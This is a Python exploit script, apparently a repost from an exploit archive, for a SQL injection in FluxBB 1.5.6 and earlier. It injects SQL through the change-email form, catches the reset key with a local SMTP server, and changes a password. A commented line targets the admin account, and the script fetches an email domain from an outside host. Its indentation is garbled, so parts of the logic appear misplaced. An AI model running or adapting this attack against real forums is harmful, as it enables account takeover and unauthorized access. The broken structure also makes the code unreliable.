#!/usr/bin/env python
# Friday, November 21, 2014 - secthrowaway@safe-mail.net
# FluxBB <= 1.5.6 SQL Injection
# make sure that your IP is reachable

url = 'http://1.ru/forum/'
user = '1' # dummy account
pwd = '1'

import urllib, sys, smtpd, asyncore, re, sha
from email import message_from_string
from urllib2 import Request, urlopen

ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
bindip = '0.0.0.0'

def stage1(sql):
    if (len(sql) > 80):
        sys.exit('SQL too long, max 80 chars')
        print "1st stage: %s (%d chars)" % (sql, len(sql))
        r = urlopen(Request('%sprofile.php?action=change_email&id=%s' % (url, uid),
        data="form_sent=1&req_new_email=%s&req_password=%s&new_email=Submit" % (urllib.quote(sql), pwd),
        headers={"Referer": "%sprofile.php" % url, "User-agent": ua, "Cookie":cookie})).read()
        if 'An email has been sent to the specified address' not in r:
            sys.exit('err')

def stage3(key):
    print "3rd stage, using key: %s" % key
    r = urlopen(Request('%sprofile.php?action=change_pass&id=%s&key=%s' % (url, uid, key),
    headers={"User-agent": ua})).read()
    if 'Your password has been updated' in r:
        print 'success'
    else:
        print 'err'

class stage2_smtp(smtpd.SMTPServer):
    def process_message(self, peer, mailfrom, rcpttos, data):
        print '2nd stage: got mail', peer, mailfrom, "to:", rcpttos
        key = re.search("(https?://.*&key=([^\s]+))", message_from_string(data).get_payload(decode=True), re.MULTILINE)
        if key is not None:
            raise asyncore.ExitNow(key.group(2))
            return

    def login():
        print "logging in"
        r = urlopen(Request('%slogin.php?action=in' % url, data="form_sent=1&req_username=%s&req_password=%s" % (user, pwd), headers={"User-agent": ua}))
        try:
            t = r.info()['set-cookie'].split(';')[0]
            return (t.split('=')[1].split('%7C')[0], t)
        except:
            sys.exit('unable to login, check user/pass')
        uid, cookie = login()
        email_domain = urlopen(Request('http://tns.re/gen')).read()
        print "using domain: %s" % email_domain

#this will change your password to your password :)
stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new(pwd).hexdigest(), uid, email_domain))

#this will change admin's (uid=2) password "123456"
#stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new("123456").hexdigest(), 2, email_domain))
try:
    print "2nd stage: waiting for mail"
    server = stage2_smtp((bindip, 25), None)
    asyncore.loop()
except asyncore.ExitNow, key:
    stage3(key)

#  0day.today [2016-07-06]  #